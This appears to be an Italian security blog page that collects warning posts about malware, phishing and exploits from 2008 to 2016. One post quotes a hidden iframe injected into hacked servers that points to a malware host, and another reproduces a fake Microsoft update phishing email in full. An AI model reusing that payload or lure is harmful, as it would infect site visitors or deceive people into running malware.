Vulnerabilità Chip Qualcomm e anche gli smartphone e tablet Android sono a rischio

Inserito da 10 Agosto, 2016 (0) Commenti

Si tratta di :Exploits,Sicurezza

Attenzione aggiornare non appena arriverà la patch ! Vulnerabilità Chip Qualcomm e anche gli smartphone e tablet Android sono a rischio

I ricercatori di Check Point hanno scoperto quattro gravi vulnerabilità nei driver dei chip Qualcomm. Essendo questi processori molto diffusi, l’azienda ha stimato che oltre 900 milioni di smartphone e tablet Android sono a rischio e potrebbero quindi subire un attacco che consente di ottenere i privilegi di root. I dettagli tecnici sono stati illustrati nel corso della conferenza di sicurezza DEF CON 24 di Las Vegas.Check Point ha rilevato le vulnerabilità in molti smartphone Android, anche quelli arrivati da poco sul mercato, come i Samsung Galaxy S7 e S7 edge, OnePlus 3, LG G5 e HTC 10. Anche il BlackBerry DTEK5, considerato lo smartphone Android più sicuro, è vulnerabile. Questi modelli, così come i Nexus 5X, 6 e 6P di Google, riceveranno sicuramente una patch nei prossimi giorni. Il problema riguarda invece i numerosi dispositivi, ormai abbandonati dai rispettivi produttori, che non verranno mai aggiornati.Le quattro vulnerabilità possono essere sfruttate mediante l’installazione di un malware nascosto in un’app infetta, distribuita tramite APK e camuffata da app legittima. Un simile exploit consente di accedere ai dati personali dell’utente, tracciare gli spostamenti tramite GPS, registrare audio e video, intercettare le password digitate sulla tastiera. Qualcomm ha già rilasciato le patch, ma è necessario attendere tutti i passaggi prima di poter aggiornare lo smartphone. Google ha risolto tre vulnerabilità con gli ultimi update di sicurezza, mentre la quarta verrà risolta a settembre. Purtroppo, la frammentazione di Android complica ulteriormente la situazione. Per verificare se il proprio dispositivo è vulnerabile, Check Point ha pubblicato sul Google Play Store l’app QuadRooter Scanner. Al termine della scansione verrà mostrato l’elenco delle vulnerabilità.

13895358_512930422237753_818979163984878613_n

Fonte: Una vita da social

Categories : Exploits,Sicurezza Tags : , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Plankton il malware per Android…

Inserito da 17 Giugno, 2011 (0) Commenti

Si tratta di :Exploits

E’ stato individuato Plankton, un malware scoperto da alcuni ricercatori dell’Università della Nord Carolina.
Tale nome è stato ideato dal professor Xuxian Jiang. Il codice maligno per android ruba informazioni sensibili dallo smartphone e di trasmette agli sviluppatori.
Non si ha idea del numero degli utenti colpiti.
Google e ha eliminato dall’Android market tutte le applicazioni sospette. Sono stati eliminati gli account degli sviluppatori che le avevano caricate applicazioni infette da Plankton, in linea con quanto dichiarato nella policy aziendale.
Le applicazioni erano tutte versioni non ufficiali di app e giochi famosi, realizzate appositamente con l’intenzione di tendere una trappola agli utenti Android. In particolare molte erano ispirate al gioco Angry Birds.
Attenzione dunque quando installate nuove applicazioni, potreste incorrere in spiacevoli sorprese.

Categories : Exploits Tags : , , , , , ,

Attenti a Mac Defender o Mac Security. Non installate questo malware

Inserito da 20 Maggio, 2011 (0) Commenti

Si tratta di :Exploits

Evitare di installare Mac Defender o Mac Security sono software malevoli,
Finti antivirus rubano dati carte di credito e password

A far scattare l’allarme è un software ‘malevolo’ che propone l’acquisto di un finto antivirus – ‘Mac Defender’ o ‘Mac Security’ – che compare sul browser dell’utente preso di mira dopo che sono apparse delle immagini porno. Secondo quanto si legge sul sito specializzato del gruppo editoriale informatico ZDNet, negli Usa dal 30 aprile scorso le richieste di assistenza contro questo attacco ‘malware’, ad AppleCare, la struttura di supporto degli utenti Apple, sono cresciute sostanzialmente. Dal quartier generale della Mela a Cupertino fino ad ora non é arrivata nessuna conferma. Anzi, secondo un memo interno (‘EM406’), pubblicato ieri sera dal blog di ZdNet, la raccomandazione è piuttosto quella di “Non confermare o negare che esista un attacco malware contro il Mac”. Nella lista di istruzioni destinate agli operatori di AppleCare si dice anche di non dare consigli su quali software anti-virus installare o su come rimuovere il ‘malware’ stesso.

Operazione quest’ultima, comunque piuttosto semplice secondo gli esperti e sulla quale si possono trovare ampie indicazioni sui vari forum online sui Mac. In effetti il ‘malware’, spiegano gli esperti, non sfrutta falle del sistema operativo Apple, come avviene invece per altri ‘software malevoli’, ma piuttosto la mancanza di dimestichezza degli utenti della mela con queste problematiche, e questa sarebbe la ragione delle indicazioni operative di Cupertino. Il memo interno della Apple, comunque, spiega anche che la comparsa del messaggio di per sé non comporta problemi – basta chiudere il browser per eliminarlo -, ma se si accetta di installare il finto antivirus, fornendo username e password (obbligatorie sul Mac), e poi si danno anche i dati della carta di credito per pagarlo, tutti questo finisce immancabilmente ai criminali informatici. Come se non bastasse, il ‘malware’ ‘rifiuta’ anche di accettare i dati della carta di credito, dicendo che non è valida, per far usare più carte. “C’é stato anche chi ha provato ben cinque carte di credito prima di chiamarci – ha detto uno degli addetti Usa di AppleCare, che ha voluto rimanere anonimo, al blog di ZDNet – ma se non si clicca sull’installazione il ‘cavallo di Troia’ non viene installato sul Mac”. Il problema, spiegano gli esperti, è però che molti utenti, non abituati a questo tipo di insidie divenute ormai familiari in altri sistemi operativi, pensano si tratti di un aggiornamento software fornito dalla stessa Apple.

 

Categories : Exploits Tags : , , , , , , , , , , , , , , , , ,

Truffa informatica con virus che blocca pc scoperta da polizia

Inserito da 29 Aprile, 2011 (0) Commenti

Si tratta di :Phishing e Truffe,Sicurezza

ROMA (Reuters) – La polizia postale oggi ha scoperto una truffa informatica messa in atto attraverso un virus che blocca il pc e spinge gli utenti di chiamare un servizio telefonico a pagamento per ottenere il codice in grado di sbloccarlo. Lo rende noto un comunicato.

“Il Cnaipic – Centro Nazionale Anticrimine Informatico per la Protezione delle Infrastrutture critiche del Servizio Polizia Postale e delle Comunicazioni – ha verificato l’esistenza di una nuova versione del trojan ‘Ransomware’, purtroppo noto a molti utenti della rete per averli colpiti già dal 2006 con le precedenti versioni”, dice la nota della polizia.

“Questo tipo di malware quando colpisce le vittime ne impedisce l’utilizzo del pc per poi richiedere un codice di sblocco, ottenibile collegandosi a siti che richiedono l’acquisto di beni o servizi a pagamento, realizzando una vera e propria estorsione”.

Il computer, spiega la polizia, non subisce danni significativi, “ma se la vittima dovesse telefonare al numero visualizzato nel messaggio spenderebbe 1,75 euro al minuto e non riceverebbe alcun codice, ma verrebbe semplicemente reindirizzato ad un altro servizio telefonico a pagamento”.

La truffa non colpisce solo l’Italia, ma anche Austria, Belgio e Svizzera, le cui autorità sono state avvertite dalla polizia, che ha inoltre avviato la procedura per bloccare l’utenza 899 021 233.

Categories : Phishing e Truffe,Sicurezza Tags : , , , , , , , , , , , ,

Darkshell un nuovo DDoS bot per le aziende alimentari

Inserito da 1 Marzo, 2011 (0) Commenti

Si tratta di :Exploits

dalla Cina con furore un nuovo DDoS bot…

Questo particolare ceppo di malware è stato utilizzato per attaccare
un gruppo di ditte che si occupano dell’industria alimentare.
Questa darkshell si presenta come un piccolo file eseguibile dalle dimenzioni che variano dai 66,048 bytes to 79,360 bytes.

si consiglia di approfondire l’argomento su arbor networks

Categories : Exploits Tags : , , , , , , , ,

Nuovo attacco ai server web Linux, botnet via iframe apache e nginx

Inserito da 15 Settembre, 2009 (0) Commenti

Si tratta di :Exploits

Denis Sinegubko, si occupa di sicurezza in Russia, ha scoperto un gruppo di circa 100 server Linux infetti (una botnet) interconnessi tra loro. Si tratta di un gruppo di server web infetti e connessi tra loro che diffondono malware, con lo scopo di creare una rete di computer (server web) che infettano i visitatori di siti web, questa attività è stata scoperta analizzando alcuni server con installato apache con password di root facili, combinando mediante la tecnica iframe server esterni con installato il server nginx si è potuto inserire con successo nelle pagine stringhe all’interno del server vittima fatte in questa maniera :

<i_frame src="http ://a86x . homeunix . org:8080/ts/in.cgi?open2" width=997 height=0 style="visibility: hidden"></iframe>

Tale tecnica non fa altro che aumentare le macchine zombie.

Cosa avviene in parole semplici :

i server infetti osservati da Sinegubko legittimano il traffico web sulla porta 80,
la porta standard tcp per le connessioni al server. Il server rogue che gira avendo  installato nginx  potente server  http e un mail proxy  server sviluppato in russia da Igor Sysoev fa in modo che i computer degli utenti vengano infettati.
A complicare le cose e per aumentare la potenza virale ci si è messo pure l’aggiunta di reti basate su servizi che permettono la rintracciabilità di un computer in rete, ciò significa che esiste una rete di server tracciabile e una rete di computer che potenzialmente non avendo hosting fisso possono cambiare rapidamente dislocazione geografica.

Il tutto significa che nel momento in cui si lancia un comando alla botnet tutti i server infetti rispondono.

Secondo Sinegubko la responsabilità di tale diffusione è tutta degli amministratori di rete che mettono password poco sicure o che non proteggono il traffico di rete da eventuali sniffaggi di password di root.

Categories : Exploits Tags : , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

FALSA E-MAIL MICROSOFT KB584432.exe VIRUS Security Update for OS Microsoft Windows

Inserito da 15 Ottobre, 2008 (0) Commenti

Si tratta di :Exploits,Phishing e Truffe

NON APRITE LA FALSA E-MAIL DELLA MICROSOFT CHE STA ARRIVANDO IN QUESTI GIORNI !

DA : Microsoft Customer Service” <customerservice@microsoft.com>

OGGETTO : Security Update for OS Microsoft Windows

SEGUE TESTO E ALLEGATO DI 33 KB

QUESTA E-MAIL E’ ASSOLUTAMENTE FALSA E DANNOSA GLI AUTORI DELLA MAIL IN OGGETTO HANNO UTILIZZATO UN SERVER NELLA REPUBBLICA CECA, NULLA A CHE FARE CON I SERVER MICROSOFT.

ALLEGO TESTO E-MAIL :

Dear Microsoft Customer,

Please notice that Microsoft company has recently issued a Security Update for OS Microsoft Windows. The update applies to the following OS versions: Microsoft Windows 98, Microsoft Windows 2000, Microsoft Windows Millenium, Microsoft Windows XP, Microsoft Windows Vista.

Please notice, that present update applies to high-priority updates category. In order to help protect your computer against security threats and performance problems, we strongly recommend you to install this update.

Since public distribution of this Update through the official website http://www.microsoft.com would have result in efficient creation of a malicious software, we made a decision to issue an experimental private version of an update for all Microsoft Windows OS users.

As your computer is set to receive notifications when new updates are available, you have received this notice.

In order to start the update, please follow the step-by-step instruction:
1. Run the file, that you have received along with this message.
2. Carefully follow all the instructions you see on the screen.

If nothing changes after you have run the file, probably in the settings of your OS you have an indication to run all the updates at a background routine. In that case, at this point the upgrade of your OS will be finished.

We apologize for any inconvenience this back order may be causing you.

Thank you,

Steve Lipner
Director of Security Assurance
Microsoft Corp.

—–BEGIN PGP SIGNATURE—–
Version: PGP 7.1

0849JB5RD2VW1QL4NWFGQUL1LDPE49EPZHWG85DIC99Z9CZ9Z7SR9J7JLD1FY61TJ
6NXM1VC8DTKWAI9PSPH9T8SD2JSPH1L0EL8M968TUEHSG5UFTHUQUD95RNU3DKRQ6
4FO81Y6QTTK452ORNUVXKI8HB8TU0N4F1TGWVJ9KQQ8W3UNG2VV3AN5Q7GZVQ2PFF
B87089F03JDELY8ZJ11XUF7NILGF8D8S9QT14YS2LYLMVM478NDMDNK4H263S8KIC
66UB1N5V47OLP117AAZVQUZ9TE966UDXJFK==
—–END PGP SIGNATURE—–

SEGUE ANALISI DETTAGLIATA VIRUS

AhnLab-V3 Win-Trojan/Goldun.33398.B
AntiVir TR/Drop.HeadJoe.N
Authentium W32/Trojan3.CI
Avast Win32:Trojan-gen {Other}
AVG BackDoor.Haxdoor.EJ
BitDefender Trojan.PWS.Goldun.SZR
CAT-QuickHeal TrojanSpy.Goldun.bce
ClamAV Trojan.Goldun-305
DrWeb Trojan.PWS.GoldSpy.2278
eSafe
eTrust-Vet Win32/ProcHide.Z
Ewido
F-Prot W32/Trojan3.CI
F-Secure Trojan-Spy.Win32.Goldun.bce
Fortinet W32/Goldun.BCE!tr.spy
GData Trojan.PWS.Goldun.SZR
Ikarus Trojan-Spy.Win32.Goldun.bce
K7AntiVirus
Kaspersky Trojan-Spy.Win32.Goldun.bce
McAfee BackDoor-BAC.gen
Microsoft Backdoor:Win32/Haxdoor
NOD32 Win32/Spy.Goldun.NDO
Norman
Panda Trj/Goldun.TL
PCTools Trojan-Spy.Goldun!sd6
Prevx1 Suspicious
Rising Trojan.Spy.Win32.Goldun.zzt
SecureWeb-Gateway Trojan.Drop.HeadJoe.N
Sophos Mal/EncPk-CZ
Sunbelt Goldun.Fam
Symantec Infostealer
TheHacker
TrendMicro BKDR_HAXDOOR.MX
VBA32 Malware-Cryptor.Win32.General.2
ViRobot Trojan.Win32.Goldun.33398
VirusBuster TrojanSpy.Goldun.AQI
Informazioni addizionali
MD5: 1ffcb1ea024c228ade6d8dad681c6ed7
SHA1: f665f9a30e72d3d5f994993a6a7649d98b5a2686
SHA256: 87f9fa50a42a8761f29d4f44fba35f0d638bcbc0036e00f1b78632526d5f5432
SHA512: bf9299112d25a3f121825f852ca5c8caf0861beb750df9a21a9ba55b97f5a3380538ef305b007b71ae171ec9a72fd7a5061bd63641aaeec1c554956bc6dba7f5
Categories : Exploits,Phishing e Truffe Tags : , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Un virus, malware, worm arriva nella stazione spaziale Internazional della Nasa

Inserito da 30 Agosto, 2008 (0) Commenti

Si tratta di :Sicurezza

NASA virus

La stazione spaziale Internazionale è stata infettata da un virus, non mi sembra una cosa strana perchè informandosi bene si scopre che la Nasa per la ISS utilizza Windows come sistema operativo, la responsabile del contagio sarebbe una penna usb che portata a bordo da un astronauta, ha infettato i sistemi.. questo è altamente probabile ma io mi chiedo e se c’è qualche zampino di un hacker in fondo è normale che pur complessi questi sistemi e superprotetti hanno un accesso remoto..
Si dice che il sistema ha infettato aree non critiche, e minimizzando sostengono che è infetto una minima parte usata per per l’invio delle e-mail sulla terra e per la programmazione dell’alimentazione degli astronauti, chissà qualche spammer avrà voluto varcare i confini dello spazio ? pure sullo spazio ??? vanno a fare spam ? sebbene ci siano 400 km di distanza è una cosa normale visto che si utilizza un sistema che essendo usato da moltissimi utenti ben si presta ad essere infettato… non solo per la sua diffusione ma anche per la facilità nell’eseguire operazioni basta una svista e parte un click, mentre in sistemi tipo linux o unix o in generale open source cose del genere non succedono anche perchè in genere un computer dovrebbe fare una cosa e bene specialmente se destinato alla Nasa si presume che a bordo ci sia gente capace di usare altri sistemi… e poi perchè usare software proprietario ????? perchè non personalizzare qualche distro su misura ??? ottimizando le risorse ? domande a cui nessuno forse mi darà una risposta ma questa cosa era già successo… non è la prima volta che capita ….
io consiglierei alla nasa di utilizzare una distribuzione unix o linux e personalizzarla spendendo pochissimo potrebbero avere un sistema personalizzato e non una cosa di massa… che ne dite di dare qualcosina a una dozzina di programmatori con le palle ? e cambiare sistema operativo ?


Categories : Sicurezza Tags : , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Attenzione ! Antivirus XP 2008

Inserito da 23 Agosto, 2008 (0) Commenti

Si tratta di :Bufale e Hoax

Antivirus XP 2008 non è un antivirus. E’ uno dei più devastanti malware che si possono trovare in circolazione. La sua installazione viene generalmente veicolata quando l’utente del pc desidera installare particolari codec per la visualizzazione di file video. Il programma si attiva automaticamente rilevando un numero abnorme di virus che “sarebbero” installati sul computer e invita a visitare il sito del produttore per pagare la licenza completa. Ovviamente vi invitiamo a non farlo: prima di tutto perchè Antivirus XP 2008 non è assolutamente un antivirus anzi è un virus lo stesso programma e quindi non rimuoverà un bel niente. In secondo luogo perchè è molto probabile che i dati di carta di credito che vi verrebbero richiesti per l’acquisto sarebbero trattati da sistemi poco sicuri (per utilizzare un eufemismo).

Nonostante l’utente cerchi di disinstallare il programma quest’ultimo continua ad attivarsi eseguendo la sua presunta scansione.

L’unico modo per procedere alla disinstallazione di Antivirus XP 2008 è quello di operare manualmente:

  • Utilizzando Task Manager interrompere i seguenti processi :XPAntivirus.exe
    XPAntivirusUpdate.exe
  • Utilizzando regedit rimuovere le seguenti chiavi di sistema :HKEY_USERSSoftwareMicrosoftWindowsCurrentVersionRun”XP antivirus” = “C:Program FilesXPAntivirusXPAntivirus.exe”
    HKEY_USERSSoftwareMicrosoftWindowsCurrentVersionRun”XPAntivirus” = “C:Program FilesXPAntivirusXPAntivirus.exe”
    HKEY_USERSSoftwareXP antivirus
    HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstallXP antivirus_is1
    HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesXPAntivirusFilter
  • Rimuovere la registrazione delle seguenti DLL :shlwapi.dll
    wininet.dll
  • Individuare e cancellare i seguenti file :XPAntivirus.exe
    XPAntivirus.url
    XPAntivirusUpdate.exe
    XPAntivirus_log.txt
    XPAntivirus.lnk
    Desktop\XPAntivirus.lnk
    Uninstall XPAntivirus.lnk
    XPAntivirus on the Web.lnk
    XPAntivirus.lnk
    backup.lst helper.sys
    pn.cfg
    spyware.dat
    explorer.exe
    explorer.exe.md5
    ntoskrnl.exe
    ntoskrnl.exe.md5
    shlwapi.dll
    shlwapi.dll.md5
    wininet.dll
    wininet.dll.md5
    unins000.dat
    unins000.exe
    ver.dat
    whitelist.cfg

Riavviare il computer.

FONTE AVG

Categories : Bufale e Hoax Tags : , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Apple e le spine dell’iPhone 2.0: dalla “black list” alla sfuriata di Jobs

Inserito da 10 Agosto, 2008 (0) Commenti

Si tratta di :News

ARTICOLO DI GIANNI RUSCONI PER IL SOLE 24 ORE
iphone-for-everyone--324x230

Dopo l’abbuffata di annunci intercorsi fra la metà di giugno e la fine di luglio, ci si poteva aspettare un po’ di tregua in casa Apple per il suo prodotto da vetrina, il nuovo iPhone. E invece no. Da Cupertino le novità sono continuate a piovere e con esse anche indiscrezioni (che per la verità non sono mai mancate a corredo del melafonino) e retroscena non esattamente piacevoli per la società californiana.
L’annuncio di prodotto ufficiale, e su questo non ci sono dubbi di sorta, riguarda il primo update del software 2.0 dello smartphone, rilasciato solo tre settimane fa. Disponibile anche per gli utenti italiani (si installa sull’iPhone tramite iTunes), il nuovo firmware 2.01 porta in dote alcune migliorie tecniche e funzionali (prestazioni con il browser Safari, scrittura degli Sms, applicazioni telefoniche e trasmissione dati) ed elimina alcuni “bug” rispetto alle versioni precedenti. Buone notizie in arrivo per vecchi e nuovi possessori del super telefonino, dunque, ma c’è anche un rovescio della medaglia. Installando l’aggiornamento si perde la possibilità di utilizzare Sim Card diverse (operazione quindi sconsigliata per chi ha acquistato il vecchio iPhone all’estero) e quella di utilizzare programmi non ufficiali, e quindi non scaricati come Apple invita costantemente a fare dall’App Store , il negozio online dove la casa della Mela vende i software per il suo smartphone.

Questo programma non s’ha da scaricare
Siamo ancora nel campo delle ipotesi ma se i rumors circolati in Rete negli ultimi giorni fossero veri per Apple sarebbe un problema non da poco. Di immagine e non solo. Tale Jonathan Zdziarski, di professione sviluppatore e grande esperto di iPhone (è l’autore di due libri già best seller sul tema, “iPhone Forensics manual” e “iPhone Open Application Development”), avrebbe scoperto un meccanismo secondo cui Apple può impedire l’installazione sull’iPhone di programmi “non graditi”. In altri termini, nel software 2.0 caricato a bordo del mela fonino ci sarebbe una lista nera di applicazioni (sconosciuta agli utenti e attivata periodicamente dal telefonino tramite un indirizzo Internet riservato) che cancellerebbe i programmi non certificati dalla società della Mela per essere acquistati o scaricati sul proprio sito Web dedicato. Al di là del fatto che la lista, al momento, sembrerebbe vuota in molti si sono chiesti del perché dell’esistenza della stessa. E sono emerse alcune ipotesi. Apple, così facendo, si vuole cautelare dal rischio che alcuni sviluppatori possano creare applicazioni “pirata” che verrebbero distribuite su scala globale attraverso l’App Store; la “black list” è in realtà una sorta di antivirus che periodicamente rileva la presenza di malware e programmi infetti e li segnala all’utente; la funzione è stata inserita per dare alla clientela aziendale uno strumento di controllo delle applicazioni caricate sul telefono (senza approvazione) dagli addetti che l’hanno in dotazione. Da Cupertino, per il momento, non sono arrivate delucidazioni in merito.

Il mistero del software che va e che viene
Una conferma, indiretta, dei problemi che Apple sta affrontando nel gestire il suo negozio di applicazioni per l’iPhone arriva dalla vicenda che ha visto protagonista NetShare, una utility software prodotta dalla NullRiver dal costo di 10 dollari che permette di utilizzare il “melafonino” come modem (tecnicamente la funzione si chiama “tethering”) condividendo la connessione 3G via reti Wi-Fi. Ebbene questo programma è stato per alcuni giorni presente nella vetrina dell’App Store, poi è improvvisamente scomparso (il 31 luglio) e quindi è tornato disponibile qualche ora più tardi, scaricabile e acquistabile in vari Paesi. Perché? I bene informati sostengono che proprio la funzione di modem “convergente” sia il motivo di quanto successo. Ad At&t, partner esclusivo di Apple negli Usa, l’idea che migliaia di utenti (esperti) possano fare a meno dei suoi servizi di connettività flat sfruttando un add on software che trasforma l’iPhone in una stazione wireless per navigare in Rete dal pc non è certo piaciuta e potrebbe avere imposto l’oscuramento di cui sopra. Ma Netshare è tornato subito disponibile (modificato?) per poi finire subito dopo nuovamente offline. Perché? L’unica risposta è in una nota apparsa sul sito di NullRiver in cui si apprende che sta discutendo con Apple per far tornare presto il programma sull’AppStore.

“MobileMe non è all’altezza”, firmato Steve
Una mail interna che deve aver fatto tremare i polsi a molti dipendenti della Mela. Quella che Steve Jobs ha indirizzato al proprio team (e pubblicata dal sito hi-tech Ars Technica non era certo prodiga di complimenti per il buon funzionamento del servizio di sincronizzazione per l’iPhone MobileMe. Presentato con grande enfasi dallo stesso Ceo di Apple il giorno del lancio del melafonino 3G, il programma ha denunciato parecchi difetti, a cominciare dalla perdita di dati sensibili inerenti contatti, e-mail e calendario scambiati fra computer e smartphone. I problemi sono finiti davanti agli occhi (e forse sull’iPhone di Jobs) ed ecco spiegata la sfuriata telematica: “MobileMe non è all’altezza degli standard Apple”, uno dei passaggi chiave della missiva. Sfuriata a cui sono seguiti degli immediati provvedimenti: la nomina di un nuovo responsabile (Eddy Cue, vicepresidente per iTunes, che supervisionerà lo sviluppo di tutti i servizi on line di Apple) e una nuova sezione sul Web dedicata al supporto tecnico di MobileMe. I sorrisi che Jobs dispensava dal palco del Moscone Center di San Francisco, a due mesi di distanza dal debutto dell’iPhone 3G, sembrano lontani.

Autore : Gianni Rusconi data 9 agosto fonte

Categories : News Tags : , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,